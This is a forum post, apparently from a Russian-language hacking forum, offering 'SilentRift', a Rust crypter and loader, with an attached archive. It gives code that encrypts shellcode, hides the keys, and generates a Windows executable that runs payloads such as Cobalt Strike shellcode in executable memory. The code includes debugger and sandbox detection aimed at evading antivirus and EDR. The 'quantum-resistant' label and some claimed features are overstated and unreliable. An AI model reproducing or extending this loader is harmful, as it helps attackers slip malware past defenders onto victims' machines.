• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Quantum-Resistant Encrypter & In-Memory Loader

EvilKo0

floppy-диск
Пользователь
Регистрация
17.09.2025
Сообщения
2
Реакции
4
SilentRift is an advanced Rust-based tool designed for red team operators, providing quantum-resistant encryption and fully in-memory payload execution capabilities for modern offensive security operations.

🔒 Security Features​

  • Modern AEAD Cipher: ChaCha20-Poly1305 for confidentiality and integrity
  • Secure Key Derivation: PBKDF2 with SHA256 and 100,000 iterations
  • Key/Nonce Obfuscation: XOR masking reduces detection signatures
  • Anti-API Hooking: Basic techniques to evade API monitoring
  • Sandbox Detection: Basic virtualized environment checks
  • Memory-Only Execution: No disk artifacts left behind

📋 Use Cases​

  • Cobalt Strike shellcode execution
  • In-memory PE binary loading
  • EDR/AV evasion testing
  • Authorized penetration testing
  • Red team exercises
  • Security research and development

🛠️ How It Works​

  1. Payload Input: Provide raw shellcode or binary payload
  2. Encryption: ChaCha20-Poly1305 encrypts with derived keys
  3. Obfuscation: Keys and nonces are XOR masked for stealth
  4. Code Generation: Windows loader template is populated
  5. Compilation: Standalone EXE is built with embedded payload
  6. Execution: Target system decrypts and runs payload in memory

🔮 Future Roadmap​

  • Enhanced anti-AV and stealth techniques
  • Multiple payload format support
  • Cross-platform loader generation
  • C2 framework integration
  • Advanced sandbox evasion

🔐 OVERVIEW:
SilentRift is a quantum-resistant encryption tool developed in Rust that
encrypts payloads (shellcode, binaries) and generates a Windows loader that
executes the payload entirely in memory without disk artifacts.

===============================================================================
📋 MAIN CODE STRUCTURE (main.rs)
===============================================================================

1. IMPORTS AND DEPENDENCIES:
Код:
use anyhow::{anyhow, Context};              // Enhanced error handling
use chacha20poly1305::aead::{Aead, KeyInit}; // AEAD encryption
use chacha20poly1305::{ChaCha20Poly1305, Key, Nonce}; // ChaCha20 cipher
use hmac::Hmac;                             // HMAC for PBKDF2
use pbkdf2;                                 // Key derivation
use rand;                                   // Random number generation
use sha2::Sha256;                           // SHA-256 hashing
use std::{fs, io::{self, Write}, path::Path, process::Command}; // Standard library

2. ESTRUCTURA DE CONFIGURACIÓN:
Код:
struct Config {
    raw_payload: Option<Vec<u8>>,    // Raw payload bytes
    payload_path: Option<String>,    // Path to payload file
    output_name: Option<String>,     // Output EXE name
    password: Option<String>,        // Encryption password
}

===============================================================================
🎯 MAIN FUNCTION - INTERACTIVE MENU
===============================================================================

The main() function implements a CLI menu with the following options:

OPTION 1 - SET RAW PAYLOAD:
  • Allows input of shellcode in hexadecimal format
  • Example: "90 90 90 CC" (NOP NOP NOP INT3)
  • Uses parse_hex_string() to convert hex to bytes

OPTION 2 - SET PAYLOAD FILE:
  • Allows specifying path to binary file
  • Verifies file existence with Path::new(&path).exists()
  • Clears raw_payload if file is set

OPTION 3 - OUTPUT EXE NAME:
  • Validates that filename ends with ".exe"
  • Stores name for final executable

OPTION 4 - ENCRYPTION PASSWORD:
  • Minimum 8 characters for security
  • Used to derive cryptographic keys

OPTION 5 - BUILD LOADER:
  • Main encryption and generation process
  • Calls build_loader() with all parameters

OPTION 6 - SHOW CURRENT CONFIG:
- Displays status of all configured options

===============================================================================
🔧 CRITICAL AUXILIARY FUNCTIONS
===============================================================================

1. PARSE_HEX_STRING():
Markdown (GitHub flavored):
fn parse_hex_string(hex_str: &str) -> Result<Vec<u8>, String> {
    hex_str.split_whitespace()
        .map(|b| u8::from_str_radix(b, 16).map_err(|_| format!("Invalid hex byte '{}'", b)))
        .collect()
}

  • Converts hexadecimal string to byte vector
  • Handles spaces between hex bytes
  • Returns descriptive error for invalid bytes

2. DERIVE_KEY_NONCE_FROM_PASSWORD():
Markdown (GitHub flavored):
fn derive_key_nonce_from_password(password: &str) -> ([u8; 32], [u8; 12]) {
    let mut key = [0u8; 32];        // 256-bit key
    let mut nonce = [0u8; 12];      // 96-bit nonce
    let salt = b"SilentRiftSalt1234"; // Fixed salt for reproducibility
    
    // Derive key with PBKDF2-SHA256, 100,000 iterations
    pbkdf2::pbkdf2::<Hmac<Sha256>>(password.as_bytes(), salt, 100_000, &mut key);
    
    // Derive nonce with different salt
    let mut nonce_source = [0u8; 32];
    pbkdf2::pbkdf2::<Hmac<Sha256>>(password.as_bytes(), b"NonceSalt1234", 100_000, &mut nonce_source);
    nonce.copy_from_slice(&nonce_source[..12]);
    
    (key, nonce)
}

SECURITY FEATURES:
  • PBKDF2 with 100,000 iterations (resistant to brute force attacks)
  • Different salts for key and nonce
  • SHA-256 as underlying hash function
  • 256-bit key and 96-bit nonce (ChaCha20 standard)

===============================================================================
🏗️ BUILD_LOADER() FUNCTION - MAIN PROCESS
===============================================================================

This function performs the entire encryption and generation process:

STEP 1 - KEY DERIVATION:
Markdown (GitHub flavored):
let (key_bytes, nonce_bytes) = derive_key_nonce_from_password(password);

STEP 2 - PAYLOAD ENCRYPTION:
Markdown (GitHub flavored):
let cipher = ChaCha20Poly1305::new(Key::from_slice(&key_bytes));
let nonce = Nonce::from_slice(&nonce_bytes);
let encrypted = cipher.encrypt(nonce, payload)?;

  • Uses ChaCha20-Poly1305 (AEAD - Authenticated Encryption with Associated Data)
  • Provides confidentiality AND integrity
  • Resistant to known quantum attacks

STEP 3 - XOR OBFUSCATION:
Markdown (GitHub flavored):
let mask_key = rand::random::<u8>();
let obf_key: Vec<u8> = key_bytes.iter().map(|b| b ^ mask_key).collect();
let obf_nonce: Vec<u8> = nonce_bytes.iter().map(|b| b ^ mask_key).collect();
let obf_password: Vec<u8> = password_bytes.iter().map(|b| b ^ mask_key).collect();

  • Generates random XOR mask
  • Obfuscates key, nonce, and password
  • Reduces detectable signatures in final binary

STEP 4 - SOURCE CODE GENERATION:
Код:
let loader_src = generate_loader_source(&encrypted, &obf_key, &obf_nonce, &obf_password, mask_key);

STEP 5 - RUST PROJECT CREATION:
  • Creates "silentrift_build/src/" directory
  • Writes main.rs with loader code
  • Generates Cargo.toml with necessary dependencies

STEP 6 - COMPILATION:
Markdown (GitHub flavored):
let output = Command::new("cargo")
    .args(&["build", "--release", "--manifest-path", "silentrift_build/Cargo.toml"])
    .output()?;

STEP 7 - FINAL EXECUTABLE COPY:
- Copies compiled EXE to user-specified name

===============================================================================
🚀 GENERATED LOADER CODE
===============================================================================

The generate_loader_source() function creates a complete Rust program that:

1. LOADER IMPORTS:
Markdown (GitHub flavored):
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::memoryapi::VirtualAlloc;
use chacha20poly1305::aead::{Aead, KeyInit};

2. XOR_DECRYPT() FUNCTION:
Markdown (GitHub flavored):
fn xor_decrypt(data: &mut [u8], key: u8) {
    for b in data.iter_mut() {
        *b ^= key;
    }
}

- Deobfuscates data using XOR mask

3. ANTI-DEBUG DETECTION:
Markdown (GitHub flavored):
unsafe fn is_debugged() -> bool {
    let peb_ptr: *const u8;
    asm!("mov {0}, gs:[0x60]", out(reg) peb_ptr);
    let flag = *peb_ptr.add(2);
    flag != 0
}

  • Accesses PEB (Process Environment Block)
  • Checks BeingDebugged flag
  • Uses inline assembly for direct access

4. SANDBOX DETECTION:
Markdown (GitHub flavored):
fn sandbox_sleep_check() -> bool {
    let start = Instant::now();
    unsafe { Sleep(1000) };
    let elapsed = start.elapsed();
    elapsed.as_millis() < 900
}

  • Measures actual Sleep() time
  • Sandboxes often accelerate Sleep()
  • Detects if time is less than expected

5. MAIN LOADER PROCESS:

DEOBFUSCATION:
Markdown (GitHub flavored):
let mut obf_key = [ /* obfuscated data */ ];
let mut obf_nonce = [ /* obfuscated data */ ];
let mut obf_password = [ /* obfuscated data */ ];
xor_decrypt(&mut obf_key, mask);
xor_decrypt(&mut obf_nonce, mask);
xor_decrypt(&mut obf_password, mask);

INTEGRITY VERIFICATION:
Код:
let mut runtime_key = [0u8; 32];
pbkdf2::pbkdf2::<Hmac<Sha256>>(&obf_password, b"SilentRiftSalt1234", 100_000, &mut runtime_key);
if runtime_key != obf_key {
    std::process::exit(1);
}

  • Re-derives keys at runtime
  • Compares with deobfuscated keys
  • Detects binary manipulation

PAYLOAD DECRYPTION:
Markdown (GitHub flavored):
let cipher = ChaCha20Poly1305::new(Key::from_slice(&runtime_key));
let decrypted = cipher.decrypt(nonce, encrypted_payload.as_ref())?;

EXECUTABLE MEMORY ALLOCATION:
Markdown (GitHub flavored):
let exec_mem = VirtualAlloc(
    ptr::null_mut(),
    decrypted.len(),
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
) as *mut u8;

  • Allocates memory with execution permissions
  • Uses WinAPI VirtualAlloc
  • Implements manual syscall as alternative

IN-MEMORY EXECUTION:
Markdown (GitHub flavored):
ptr::copy_nonoverlapping(decrypted.as_ptr(), exec_mem, decrypted.len());
let payload_fn: PayloadFn = std::mem::transmute(exec_mem);
let handle = CreateThread(ptr::null_mut(), 0, Some(payload_fn), ptr::null_mut(), 0, ptr::null_mut());

  • Copies decrypted payload to executable memory
  • Converts pointer to function
  • Creates new thread to execute payload
  • Waits for completion with 30-second timeout

===============================================================================
🔒 IMPLEMENTED SECURITY FEATURES
===============================================================================

1. QUANTUM-RESISTANT ENCRYPTION:
- ChaCha20-Poly1305 (not vulnerable to known quantum algorithms)
- 256-bit key with integrated authentication

2. SECURE KEY DERIVATION:
- PBKDF2 with 100,000 iterations
- Unique salts for key and nonce
- SHA-256 as base hash function

3. ANTI-ANALYSIS OBFUSCATION:
- XOR masking of sensitive data
- Reduces static detectable signatures
- Random mask per compilation

4. ANTI-DEBUG TECHNIQUES:
- PEB BeingDebugged flag verification
- Direct access via inline assembly
- Immediate termination if debugger detected

5. SANDBOX DETECTION:
- Sleep() timing measurement
- Detection of temporal acceleration
- Evasion of automated analysis

6. INTEGRITY VERIFICATION:
- Runtime key re-derivation
- Comparison with embedded data
- Detection of binary manipulation

7. ARTIFACT-FREE EXECUTION:
- Payload entirely in memory
- No disk writes during execution
- Automatic cleanup on termination

===============================================================================
📊 COMPLETE EXECUTION FLOW
===============================================================================

BUILD PHASE:
1. User configures payload and password
2. System derives cryptographic keys
3. Payload is encrypted with ChaCha20-Poly1305
4. Keys are obfuscated with XOR
5. Loader source code is generated
6. Code is compiled to Windows executable

EXECUTION PHASE:
1. Loader starts anti-analysis checks
2. Obfuscated data is decrypted with XOR
3. Keys are re-derived for verification
4. Encrypted payload is decrypted
5. Executable memory is allocated
6. Payload is copied and executed in new thread
7. System waits for completion and cleans up

===============================================================================
🎯 USE CASES AND APPLICATIONS
===============================================================================

  • Cobalt Strike shellcode execution
  • In-memory PE binary loading
  • EDR/AV evasion testing
  • Authorized penetration testing
  • Red team exercises
  • Security research and development

===============================================================================
🛠️ TECHNICAL IMPLEMENTATION DETAILS
===============================================================================

MEMORY MANAGEMENT:
  • Uses VirtualAlloc with PAGE_EXECUTE_READWRITE
  • Implements syscall alternatives for API unhooking
  • Automatic memory cleanup on process termination

THREAD MANAGEMENT:
  • CreateThread API for payload execution
  • Proper handle management and cleanup
  • Timeout mechanisms for hanging payloads

ERROR HANDLING:
  • Comprehensive error checking at each step
  • Graceful failure with informative messages
  • Secure cleanup on error conditions

CROSS-COMPILATION SUPPORT:
  • Targets x86_64-pc-windows-msvc
  • Conditional compilation for different architectures
  • Platform-specific optimizations

===============================================================================
🔍 ANTI-ANALYSIS TECHNIQUES BREAKDOWN
===============================================================================

STATIC ANALYSIS EVASION:
  • XOR obfuscation of embedded data
  • Dynamic string construction
  • Encrypted payload storage
  • Random compilation artifacts

DYNAMIC ANALYSIS EVASION:
  • PEB-based debugger detection
  • Timing-based sandbox detection
  • API unhooking capabilities
  • Runtime integrity verification

BEHAVIORAL ANALYSIS EVASION:
  • Legitimate API usage patterns
  • Normal thread creation and management
  • Standard memory allocation techniques
  • Minimal system interaction footprint

===============================================================================
⚙️ COMPILATION AND DEPLOYMENT
===============================================================================

DEPENDENCIES MANAGEMENT:

Markdown (GitHub flavored):
[dependencies]
winapi = { version = "0.3", features = ["memoryapi", "processthreadsapi", ...] }
chacha20poly1305 = "0.10"
pbkdf2 = { version = "0.11", features = ["hmac"] }
sha2 = "0.10"
hmac = "0.12"

BUILD PROCESS:
1. Automatic Cargo.toml generation
2. Source code template population
3. Release mode compilation
4. Executable copying and cleanup

CROSS-PLATFORM CONSIDERATIONS:
  • Windows-specific API usage
  • Conditional compilation directives
  • Architecture-specific assembly code
  • Platform-dependent file paths

===============================================================================
🚨 SECURITY CONSIDERATIONS
===============================================================================

OPERATIONAL SECURITY:
  • Tool intended ONLY for authorized use
  • Multiple layers of protection implemented
  • Resistant to static and dynamic analysis
  • Behavioral detection evasion capabilities

DEFENSIVE MEASURES:
  • No persistence mechanisms
  • No system modification
  • Minimal network activity
  • Clean process termination

DETECTION RESISTANCE:
  • Signature evasion through obfuscation
  • Behavioral pattern randomization
  • API call sequence normalization
  • Memory pattern disruption

===============================================================================
📈 PERFORMANCE CHARACTERISTICS
===============================================================================

ENCRYPTION PERFORMANCE:
  • ChaCha20 optimized for modern CPUs
  • Minimal overhead for small payloads
  • Scalable for larger binaries
  • Memory-efficient processing

RUNTIME PERFORMANCE:
  • Fast startup and initialization
  • Minimal system resource usage
  • Quick payload deployment
  • Efficient memory management

COMPILATION PERFORMANCE:
  • Rust's zero-cost abstractions
  • Optimized release builds
  • Minimal binary size overhead
  • Fast compilation times

===============================================================================
 

Вложения

  • SilentRift - Quantum-Resistant Encrypter and In-Memory Loader.zip
    10 КБ · Просмотры: 74


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх